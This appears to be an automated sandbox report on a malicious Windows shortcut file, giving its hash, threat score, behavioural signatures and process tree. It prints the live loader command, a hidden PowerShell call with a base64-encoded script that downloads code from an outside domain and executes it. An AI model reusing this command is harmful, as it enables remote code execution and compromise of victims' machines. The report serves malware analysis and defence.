Analysis
- max time kernel
149s - max time network
155s - platform
windows10-2004_x64 - resource
win10v2004-20240226-en - resource tags
- submitted
05/04/2024, 14:46
General
- Target DOC1718 - 17181718.lnk
- Size 9KB
- Sample240405-r5m83afc49
- SHA256 ba41a32b699a07b7a0d7871839ef0c86a9eae01a3277c151a24d288919832fff
Score
8/10
Malware Config
Signatures
- Blocklisted process makes network request 1 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\DOC1718 - 17181718.lnk"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -Ex Bypass -WindowStyle Hidden -Enc KABpAHcAcgAgAGgAdAB0AHAAcwA6AC8ALwBpAG0AYQBuAGkAawB1AHUALgBjAG8AbQAvAGQAbwBuAGUALgB0AHgAdAAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAKQAuAEMAbwBuAHQAZQBuAHQAIAB8ACAAaQBOAHYATwBrAEUALQBFAHgAUAByAGUAUwBzAGkATwBuAA==2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
__PSScriptPolicyTest_tmelmvp0.pgw.ps1
memory/512-7-0x0000024535400000-0x0000024535422000-memory.dmp
memory/512-12-0x00007FF969870000-0x00007FF96A331000-memory.dmp
memory/512-14-0x00000245332C0000-0x00000245332D0000-memory.dmp
memory/512-13-0x00000245332C0000-0x00000245332D0000-memory.dmp
memory/512-15-0x00000245332C0000-0x00000245332D0000-memory.dmp
memory/512-16-0x00000245332C0000-0x00000245332D0000-memory.dmp
memory/512-19-0x00007FF969870000-0x00007FF96A331000-memory.dmp